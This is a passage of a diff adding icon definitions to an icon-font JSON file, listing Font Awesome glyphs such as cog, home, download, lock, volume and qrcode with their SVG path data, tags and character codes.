{ + "name": "power-off", + "id": 20, + "order": 876, + "prevSize": 28, + "code": 61457 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 20 + }, + { + "icon": { + "paths": [ + "M146.286 822.857v109.714c0 10.286-8 18.286-18.286 18.286h-109.714c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286zM365.714 749.714v182.857c0 10.286-8 18.286-18.286 18.286h-109.714c-10.286 0-18.286-8-18.286-18.286v-182.857c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286zM585.143 603.429v329.143c0 10.286-8 18.286-18.286 18.286h-109.714c-10.286 0-18.286-8-18.286-18.286v-329.143c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286zM804.571 384v548.571c0 10.286-8 18.286-18.286 18.286h-109.714c-10.286 0-18.286-8-18.286-18.286v-548.571c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286zM1024 91.429v841.143c0 10.286-8 18.286-18.286 18.286h-109.714c-10.286 0-18.286-8-18.286-18.286v-841.143c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "signal" + ], + "defaultCode": 61458, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "signal", + "id": 21, + "order": 877, + "prevSize": 28, + "code": 61458 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 21 + }, + { + "icon": { + "paths": [ + "M585.143 512c0-80.571-65.714-146.286-146.286-146.286s-146.286 65.714-146.286 146.286 65.714 146.286 146.286 146.286 146.286-65.714 146.286-146.286zM877.714 449.714v126.857c0 8.571-6.857 18.857-16 20.571l-105.714 16c-6.286 18.286-13.143 35.429-22.286 52 19.429 28 40 53.143 61.143 78.857 3.429 4 5.714 9.143 5.714 14.286s-1.714 9.143-5.143 13.143c-13.714 18.286-90.857 102.286-110.286 102.286-5.143 0-10.286-2.286-14.857-5.143l-78.857-61.714c-16.571 8.571-34.286 16-52 21.714-4 34.857-7.429 72-16.571 106.286-2.286 9.143-10.286 16-20.571 16h-126.857c-10.286 0-19.429-7.429-20.571-17.143l-16-105.143c-17.714-5.714-34.857-12.571-51.429-21.143l-80.571 61.143c-4 3.429-9.143 5.143-14.286 5.143s-10.286-2.286-14.286-6.286c-30.286-27.429-70.286-62.857-94.286-96-2.857-4-4-8.571-4-13.143 0-5.143 1.714-9.143 4.571-13.143 19.429-26.286 40.571-51.429 60-78.286-9.714-18.286-17.714-37.143-23.429-56.571l-104.571-15.429c-9.714-1.714-16.571-10.857-16.571-20.571v-126.857c0-8.571 6.857-18.857 15.429-20.571l106.286-16c5.714-18.286 13.143-35.429 22.286-52.571-19.429-27.429-40-53.143-61.143-78.857-3.429-4-5.714-8.571-5.714-13.714s2.286-9.143 5.143-13.143c13.714-18.857 90.857-102.286 110.286-102.286 5.143 0 10.286 2.286 14.857 5.714l78.857 61.143c16.571-8.571 34.286-16 52-21.714 4-34.857 7.429-72 16.571-106.286 2.286-9.143 10.286-16 20.571-16h126.857c10.286 0 19.429 7.429 20.571 17.143l16 105.143c17.714 5.714 34.857 12.571 51.429 21.143l81.143-61.143c3.429-3.429 8.571-5.143 13.714-5.143s10.286 2.286 14.286 5.714c30.286 28 70.286 63.429 94.286 97.143 2.857 3.429 4 8 4 12.571 0 5.143-1.714 9.143-4.571 13.143-19.429 26.286-40.571 51.429-60 78.286 9.714 18.286 17.714 37.143 23.429 56l104.571 16c9.714 1.714 16.571 10.857 16.571 20.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cog", + "gear" + ], + "defaultCode": 61459, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cog, gear", + "id": 22, + "order": 878, + "prevSize": 28, + "code": 61459 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 22 + }, + { + "icon": { + "paths": [ + "M292.571 420.571v329.143c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-329.143c0-10.286 8-18.286 18.286-18.286h36.571c10.286 0 18.286 8 18.286 18.286zM438.857 420.571v329.143c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-329.143c0-10.286 8-18.286 18.286-18.286h36.571c10.286 0 18.286 8 18.286 18.286zM585.143 420.571v329.143c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-329.143c0-10.286 8-18.286 18.286-18.286h36.571c10.286 0 18.286 8 18.286 18.286zM658.286 834.286v-541.714h-512v541.714c0 27.429 15.429 43.429 18.286 43.429h475.429c2.857 0 18.286-16 18.286-43.429zM274.286 219.429h256l-27.429-66.857c-1.714-2.286-6.857-5.714-9.714-6.286h-181.143c-3.429 0.571-8 4-9.714 6.286zM804.571 237.714v36.571c0 10.286-8 18.286-18.286 18.286h-54.857v541.714c0 62.857-41.143 116.571-91.429 116.571h-475.429c-50.286 0-91.429-51.429-91.429-114.286v-544h-54.857c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h176.571l40-95.429c11.429-28 45.714-50.857 76-50.857h182.857c30.286 0 64.571 22.857 76 50.857l40 95.429h176.571c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "trash-o" + ], + "defaultCode": 61460, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "trash-o", + "id": 23, + "order": 879, + "prevSize": 28, + "code": 61460 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 23 + }, + { + "icon": { + "paths": [ + "M804.571 566.857v274.286c0 20-16.571 36.571-36.571 36.571h-219.429v-219.429h-146.286v219.429h-219.429c-20 0-36.571-16.571-36.571-36.571v-274.286c0-1.143 0.571-2.286 0.571-3.429l328.571-270.857 328.571 270.857c0.571 1.143 0.571 2.286 0.571 3.429zM932 527.429l-35.429 42.286c-2.857 3.429-7.429 5.714-12 6.286h-1.714c-4.571 0-8.571-1.143-12-4l-395.429-329.714-395.429 329.714c-4 2.857-8.571 4.571-13.714 4-4.571-0.571-9.143-2.857-12-6.286l-35.429-42.286c-6.286-7.429-5.143-19.429 2.286-25.714l410.857-342.286c24-20 62.857-20 86.857 0l139.429 116.571v-111.429c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286v233.143l125.143 104c7.429 6.286 8.571 18.286 2.286 25.714z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "home" + ], + "defaultCode": 61461, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "home", + "id": 24, + "order": 880, + "prevSize": 28, + "code": 61461 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 24 + }, + { + "icon": { + "paths": [ + "M838.857 217.143c21.143 21.143 38.857 63.429 38.857 93.714v658.286c0 30.286-24.571 54.857-54.857 54.857h-768c-30.286 0-54.857-24.571-54.857-54.857v-914.286c0-30.286 24.571-54.857 54.857-54.857h512c30.286 0 72.571 17.714 93.714 38.857zM585.143 77.714v214.857h214.857c-3.429-9.714-8.571-19.429-12.571-23.429l-178.857-178.857c-4-4-13.714-9.143-23.429-12.571zM804.571 950.857v-585.143h-237.714c-30.286 0-54.857-24.571-54.857-54.857v-237.714h-438.857v877.714h731.429z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "file-o" + ], + "defaultCode": 61462, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "file-o", + "id": 25, + "order": 881, + "prevSize": 28, + "code": 61462 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 25 + }, + { + "icon": { + "paths": [ + "M512 310.857v256c0 10.286-8 18.286-18.286 18.286h-182.857c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h128v-201.143c0-10.286 8-18.286 18.286-18.286h36.571c10.286 0 18.286 8 18.286 18.286zM749.714 512c0-171.429-139.429-310.857-310.857-310.857s-310.857 139.429-310.857 310.857 139.429 310.857 310.857 310.857 310.857-139.429 310.857-310.857zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "clock-o" + ], + "defaultCode": 61463, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "clock-o", + "id": 26, + "order": 882, + "prevSize": 28, + "code": 61463 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 26 + }, + { + "icon": { + "paths": [ + "M634.857 569.143v-2.286l-13.714-182.857c-0.571-10.286-9.714-18.286-19.429-18.286h-106.286c-9.714 0-18.857 8-19.429 18.286l-13.714 182.857v2.286c-0.571 9.143 8 16 16.571 16h139.429c8.571 0 17.143-6.857 16.571-16zM1068.571 836c0 16.571-4.571 41.714-26.286 41.714h-402.286c9.714 0 17.714-8 17.143-18.286l-11.429-146.286c-0.571-10.286-9.714-18.286-19.429-18.286h-155.429c-9.714 0-18.857 8-19.429 18.286l-11.429 146.286c-0.571 10.286 7.429 18.286 17.143 18.286h-402.286c-21.714 0-26.286-25.143-26.286-41.714 0-22.857 6.286-45.714 14.857-66.286l238.286-596.571c5.714-14.286 21.143-26.857 36.571-26.857h193.714c-9.714 0-18.857 8-19.429 18.286l-8.571 109.714c-0.571 10.286 6.857 18.286 17.143 18.286h94.857c10.286 0 17.714-8 17.143-18.286l-8.571-109.714c-0.571-10.286-9.714-18.286-19.429-18.286h193.714c15.429 0 30.857 12.571 36.571 26.857l238.286 596.571c8.571 20.571 14.857 43.429 14.857 66.286z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "road" + ], + "defaultCode": 61464, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "road", + "id": 27, + "order": 883, + "prevSize": 28, + "code": 61464 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 27 + }, + { + "icon": { + "paths": [ + "M731.429 768c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571 16.571 36.571 36.571 36.571 36.571-16.571 36.571-36.571zM877.714 768c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571 16.571 36.571 36.571 36.571 36.571-16.571 36.571-36.571zM950.857 640v182.857c0 30.286-24.571 54.857-54.857 54.857h-841.143c-30.286 0-54.857-24.571-54.857-54.857v-182.857c0-30.286 24.571-54.857 54.857-54.857h265.714l77.143 77.714c21.143 20.571 48.571 32 77.714 32s56.571-11.429 77.714-32l77.714-77.714h265.143c30.286 0 54.857 24.571 54.857 54.857zM765.143 314.857c5.714 13.714 2.857 29.714-8 40l-256 256c-6.857 7.429-16.571 10.857-25.714 10.857s-18.857-3.429-25.714-10.857l-256-256c-10.857-10.286-13.714-26.286-8-40 5.714-13.143 18.857-22.286 33.714-22.286h146.286v-256c0-20 16.571-36.571 36.571-36.571h146.286c20 0 36.571 16.571 36.571 36.571v256h146.286c14.857 0 28 9.143 33.714 22.286z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "download" + ], + "defaultCode": 61465, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "download", + "id": 28, + "order": 884, + "prevSize": 28, + "code": 61465 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 28 + }, + { + "icon": { + "paths": [ + "M640 530.286c0 5.143-2.286 9.714-5.714 13.714l-182.286 182.286c-4 3.429-8.571 5.143-13.143 5.143s-9.143-1.714-13.143-5.143l-182.857-182.857c-5.143-5.714-6.857-13.143-4-20s9.714-11.429 17.143-11.429h109.714v-201.143c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286v201.143h109.714c10.286 0 18.286 8 18.286 18.286zM438.857 201.143c-171.429 0-310.857 139.429-310.857 310.857s139.429 310.857 310.857 310.857 310.857-139.429 310.857-310.857-139.429-310.857-310.857-310.857zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857v0c242.286 0 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow-circle-o-down" + ], + "defaultCode": 61466, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "arrow-circle-o-down", + "id": 29, + "order": 885, + "prevSize": 28, + "code": 61466 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 29 + }, + { + "icon": { + "paths": [ + "M638.857 500.571c-2.857 6.857-9.714 11.429-17.143 11.429h-109.714v201.143c0 10.286-8 18.286-18.286 18.286h-109.714c-10.286 0-18.286-8-18.286-18.286v-201.143h-109.714c-10.286 0-18.286-8-18.286-18.286 0-5.143 2.286-9.714 5.714-13.714l182.286-182.286c4-3.429 8.571-5.143 13.143-5.143s9.143 1.714 13.143 5.143l182.857 182.857c5.143 5.714 6.857 13.143 4 20zM438.857 201.143c-171.429 0-310.857 139.429-310.857 310.857s139.429 310.857 310.857 310.857 310.857-139.429 310.857-310.857-139.429-310.857-310.857-310.857zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857v0c242.286 0 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow-circle-o-up" + ], + "defaultCode": 61467, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "arrow-circle-o-up", + "id": 30, + "order": 886, + "prevSize": 28, + "code": 61467 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 30 + }, + { + "icon": { + "paths": [ + "M584.571 548.571h180.571c-1.143-2.857-1.714-6.286-2.857-9.143l-121.143-283.429h-404.571l-121.143 283.429c-1.143 2.857-1.714 6.286-2.857 9.143h180.571l54.286 109.714h182.857zM877.714 565.714v275.429c0 20-16.571 36.571-36.571 36.571h-804.571c-20 0-36.571-16.571-36.571-36.571v-275.429c0-20.571 6.286-50.857 14.286-70.286l136-315.429c8-18.857 30.857-33.714 50.857-33.714h475.429c20 0 42.857 14.857 50.857 33.714l136 315.429c8 19.429 14.286 49.714 14.286 70.286z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "inbox" + ], + "defaultCode": 61468, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "inbox", + "id": 31, + "order": 887, + "prevSize": 28, + "code": 61468 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 31 + }, + { + "icon": { + "paths": [ + "M676.571 512c0 13.143-6.857 25.143-18.286 31.429l-310.857 182.857c-5.714 3.429-12 5.143-18.286 5.143s-12.571-1.714-18.286-4.571c-11.429-6.857-18.286-18.857-18.286-32v-365.714c0-13.143 6.857-25.143 18.286-32 11.429-6.286 25.714-6.286 36.571 0.571l310.857 182.857c11.429 6.286 18.286 18.286 18.286 31.429zM749.714 512c0-171.429-139.429-310.857-310.857-310.857s-310.857 139.429-310.857 310.857 139.429 310.857 310.857 310.857 310.857-139.429 310.857-310.857zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "play-circle-o" + ], + "defaultCode": 61469, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "play-circle-o", + "id": 32, + "order": 888, + "prevSize": 28, + "code": 61469 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 32 + }, + { + "icon": { + "paths": [ + "M877.714 146.286v256c0 20-16.571 36.571-36.571 36.571h-256c-14.857 0-28-9.143-33.714-22.857-5.714-13.143-2.857-29.143 8-39.429l78.857-78.857c-53.714-49.714-124.571-78.286-199.429-78.286-161.143 0-292.571 131.429-292.571 292.571s131.429 292.571 292.571 292.571c90.857 0 174.857-41.143 230.857-113.714 2.857-4 8-6.286 13.143-6.857 5.143 0 10.286 1.714 14.286 5.143l78.286 78.857c6.857 6.286 6.857 17.143 1.143 24.571-83.429 100.571-206.857 158.286-337.714 158.286-241.714 0-438.857-197.143-438.857-438.857s197.143-438.857 438.857-438.857c112.571 0 221.714 45.143 302.286 121.143l74.286-73.714c10.286-10.857 26.286-13.714 40-8 13.143 5.714 22.286 18.857 22.286 33.714z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "repeat", + "rotate-right" + ], + "defaultCode": 61470, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "repeat, rotate-right", + "id": 33, + "order": 889, + "prevSize": 28, + "code": 61470 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 33 + }, + { + "icon": { + "paths": [ + "M863.429 603.429c0 1.143 0 2.857-0.571 4-48.571 202.286-215.429 343.429-426.286 343.429-111.429 0-219.429-44-300.571-121.143l-73.714 73.714c-6.857 6.857-16 10.857-25.714 10.857-20 0-36.571-16.571-36.571-36.571v-256c0-20 16.571-36.571 36.571-36.571h256c20 0 36.571 16.571 36.571 36.571 0 9.714-4 18.857-10.857 25.714l-78.286 78.286c53.714 50.286 125.143 78.857 198.857 78.857 101.714 0 196-52.571 249.143-139.429 13.714-22.286 20.571-44 30.286-66.857 2.857-8 8.571-13.143 17.143-13.143h109.714c10.286 0 18.286 8.571 18.286 18.286zM877.714 146.286v256c0 20-16.571 36.571-36.571 36.571h-256c-20 0-36.571-16.571-36.571-36.571 0-9.714 4-18.857 10.857-25.714l78.857-78.857c-54.286-50.286-125.714-78.286-199.429-78.286-101.714 0-196 52.571-249.143 139.429-13.714 22.286-20.571 44-30.286 66.857-2.857 8-8.571 13.143-17.143 13.143h-113.714c-10.286 0-18.286-8.571-18.286-18.286v-4c49.143-202.857 217.714-343.429 428.571-343.429 112 0 221.143 44.571 302.286 121.143l74.286-73.714c6.857-6.857 16-10.857 25.714-10.857 20 0 36.571 16.571 36.571 36.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "refresh" + ], + "defaultCode": 61473, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "refresh", + "id": 34, + "order": 890, + "prevSize": 28, + "code": 61473 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 34 + }, + { + "icon": { + "paths": [ + "M219.429 676.571v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM219.429 530.286v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM219.429 384v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM877.714 676.571v36.571c0 9.714-8.571 18.286-18.286 18.286h-548.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h548.571c9.714 0 18.286 8.571 18.286 18.286zM877.714 530.286v36.571c0 9.714-8.571 18.286-18.286 18.286h-548.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h548.571c9.714 0 18.286 8.571 18.286 18.286zM877.714 384v36.571c0 9.714-8.571 18.286-18.286 18.286h-548.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h548.571c9.714 0 18.286 8.571 18.286 18.286zM950.857 786.286v-475.429c0-9.714-8.571-18.286-18.286-18.286h-841.143c-9.714 0-18.286 8.571-18.286 18.286v475.429c0 9.714 8.571 18.286 18.286 18.286h841.143c9.714 0 18.286-8.571 18.286-18.286zM1024 164.571v621.714c0 50.286-41.143 91.429-91.429 91.429h-841.143c-50.286 0-91.429-41.143-91.429-91.429v-621.714c0-50.286 41.143-91.429 91.429-91.429h841.143c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "list-alt" + ], + "defaultCode": 61474, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "list-alt", + "id": 35, + "order": 891, + "prevSize": 28, + "code": 61474 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 35 + }, + { + "icon": { + "paths": [ + "M182.857 438.857h292.571v-109.714c0-80.571-65.714-146.286-146.286-146.286s-146.286 65.714-146.286 146.286v109.714zM658.286 493.714v329.143c0 30.286-24.571 54.857-54.857 54.857h-548.571c-30.286 0-54.857-24.571-54.857-54.857v-329.143c0-30.286 24.571-54.857 54.857-54.857h18.286v-109.714c0-140.571 115.429-256 256-256s256 115.429 256 256v109.714h18.286c30.286 0 54.857 24.571 54.857 54.857z" + ], + "width": 658.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "lock" + ], + "defaultCode": 61475, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "lock", + "id": 36, + "order": 892, + "prevSize": 28, + "code": 61475 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 36 + }, + { + "icon": { + "paths": [ + "M182.857 146.286c0 26.286-14.286 49.714-36.571 62.857v723.429c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-723.429c-22.286-13.143-36.571-36.571-36.571-62.857 0-40.571 32.571-73.143 73.143-73.143s73.143 32.571 73.143 73.143zM1024 182.857v436c0 21.143-13.143 29.143-29.714 37.714-64.571 34.857-136 66.286-210.857 66.286-105.143 0-155.429-80-280-80-90.857 0-186.286 41.143-265.143 83.429-6.286 3.429-12 5.143-18.857 5.143-20 0-36.571-16.571-36.571-36.571v-424c0-13.714 6.857-23.429 17.714-31.429 13.714-9.143 30.286-17.143 45.143-24.571 72-36.571 159.429-68.571 240.571-68.571 89.714 0 160 29.714 239.429 66.857 16 8 32.571 10.857 50.286 10.857 89.714 0 186.286-77.714 211.429-77.714 20 0 36.571 16.571 36.571 36.571z" + ], + "width": 1060.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "flag" + ], + "defaultCode": 61476, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "flag", + "id": 37, + "order": 893, + "prevSize": 28, + "code": 61476 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 37 + }, + { + "icon": { + "paths": [ + "M950.857 506.286c0 62.286-11.429 122.857-34.286 179.429l-11.429 28-105.714 18.857c-16.571 62.286-73.143 108.571-141.143 108.571v18.286c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-329.143c0-10.286 8-18.286 18.286-18.286h36.571c10.286 0 18.286 8 18.286 18.286v18.286c54.857 0 102.286 30.286 127.429 74.857l38.857-6.857c10.857-35.429 16.571-72 16.571-110.286 0-172.571-170.857-323.429-365.714-323.429s-365.714 150.857-365.714 323.429c0 38.286 5.714 74.857 16.571 110.286l38.857 6.857c25.143-44.571 72.571-74.857 127.429-74.857v-18.286c0-10.286 8-18.286 18.286-18.286h36.571c10.286 0 18.286 8 18.286 18.286v329.143c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-18.286c-68 0-124.571-46.286-141.143-108.571l-105.714-18.857-11.429-28c-22.857-56.571-34.286-117.143-34.286-179.429 0-234.857 217.714-433.143 475.429-433.143s475.429 198.286 475.429 433.143z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "headphones" + ], + "defaultCode": 61477, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "headphones", + "id": 38, + "order": 894, + "prevSize": 28, + "code": 61477 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 38 + }, + { + "icon": { + "paths": [ + "M438.857 201.143v621.714c0 20-16.571 36.571-36.571 36.571-9.714 0-18.857-4-25.714-10.857l-190.286-190.286h-149.714c-20 0-36.571-16.571-36.571-36.571v-219.429c0-20 16.571-36.571 36.571-36.571h149.714l190.286-190.286c6.857-6.857 16-10.857 25.714-10.857 20 0 36.571 16.571 36.571 36.571z" + ], + "width": 438.85714285714283, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "volume-off" + ], + "defaultCode": 61478, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "volume-off", + "id": 39, + "order": 895, + "prevSize": 28, + "code": 61478 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 39 + }, + { + "icon": { + "paths": [ + "M438.857 201.143v621.714c0 20-16.571 36.571-36.571 36.571-9.714 0-18.857-4-25.714-10.857l-190.286-190.286h-149.714c-20 0-36.571-16.571-36.571-36.571v-219.429c0-20 16.571-36.571 36.571-36.571h149.714l190.286-190.286c6.857-6.857 16-10.857 25.714-10.857 20 0 36.571 16.571 36.571 36.571zM658.286 512c0 57.143-34.857 112.571-88.571 134.286-4.571 2.286-9.714 2.857-14.286 2.857-20 0-36.571-16-36.571-36.571 0-43.429 66.286-31.429 66.286-100.571s-66.286-57.143-66.286-100.571c0-20.571 16.571-36.571 36.571-36.571 4.571 0 9.714 0.571 14.286 2.857 53.714 21.143 88.571 77.143 88.571 134.286z" + ], + "width": 658.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "volume-down" + ], + "defaultCode": 61479, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "volume-down", + "id": 40, + "order": 896, + "prevSize": 28, + "code": 61479 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 40 + }, + { + "icon": { + "paths": [ + "M438.857 201.143v621.714c0 20-16.571 36.571-36.571 36.571-9.714 0-18.857-4-25.714-10.857l-190.286-190.286h-149.714c-20 0-36.571-16.571-36.571-36.571v-219.429c0-20 16.571-36.571 36.571-36.571h149.714l190.286-190.286c6.857-6.857 16-10.857 25.714-10.857 20 0 36.571 16.571 36.571 36.571zM658.286 512c0 57.143-34.857 112.571-88.571 134.286-4.571 2.286-9.714 2.857-14.286 2.857-20 0-36.571-16-36.571-36.571 0-43.429 66.286-31.429 66.286-100.571s-66.286-57.143-66.286-100.571c0-20.571 16.571-36.571 36.571-36.571 4.571 0 9.714 0.571 14.286 2.857 53.714 21.143 88.571 77.143 88.571 134.286zM804.571 512c0 116-69.714 224-177.143 269.143-4.571 1.714-9.714 2.857-14.286 2.857-20.571 0-37.143-16.571-37.143-36.571 0-16 9.143-26.857 22.286-33.714 15.429-8 29.714-14.857 43.429-25.143 56.571-41.143 89.714-106.857 89.714-176.571s-33.143-135.429-89.714-176.571c-13.714-10.286-28-17.143-43.429-25.143-13.143-6.857-22.286-17.714-22.286-33.714 0-20 16.571-36.571 36.571-36.571 5.143 0 10.286 1.143 14.857 2.857 107.429 45.143 177.143 153.143 177.143 269.143zM950.857 512c0 175.429-104.571 334.286-265.714 403.429-4.571 1.714-9.714 2.857-14.857 2.857-20 0-36.571-16.571-36.571-36.571 0-16.571 8.571-25.714 22.286-33.714 8-4.571 17.143-7.429 25.714-12 16-8.571 32-18.286 46.857-29.143 93.714-69.143 149.143-178.286 149.143-294.857s-55.429-225.714-149.143-294.857c-14.857-10.857-30.857-20.571-46.857-29.143-8.571-4.571-17.714-7.429-25.714-12-13.714-8-22.286-17.143-22.286-33.714 0-20 16.571-36.571 36.571-36.571 5.143 0 10.286 1.143 14.857 2.857 161.143 69.143 265.714 228 265.714 403.429z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "volume-up" + ], + "defaultCode": 61480, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "volume-up", + "id": 41, + "order": 897, + "prevSize": 28, + "code": 61480 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 41 + }, + { + "icon": { + "paths": [ + "M219.429 658.286v73.143h-73.143v-73.143h73.143zM219.429 219.429v73.143h-73.143v-73.143h73.143zM658.286 219.429v73.143h-73.143v-73.143h73.143zM73.143 804h219.429v-218.857h-219.429v218.857zM73.143 365.714h219.429v-219.429h-219.429v219.429zM512 365.714h219.429v-219.429h-219.429v219.429zM365.714 512v365.714h-365.714v-365.714h365.714zM658.286 804.571v73.143h-73.143v-73.143h73.143zM804.571 804.571v73.143h-73.143v-73.143h73.143zM804.571 512v219.429h-219.429v-73.143h-73.143v219.429h-73.143v-365.714h219.429v73.143h73.143v-73.143h73.143zM365.714 73.143v365.714h-365.714v-365.714h365.714zM804.571 73.143v365.714h-365.714v-365.714h365.714z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "qrcode" + ], + "defaultCode": 61481, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "qrcode", + "id": 42, + "order": 898, + "prevSize": 28, + "code": 61481 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 42 + }, + { + "icon": { + "paths": [ + "M36 877.714h-36v-804.571h36v804.571zM72 877.143h-18.286v-804h18.286v804zM125.714 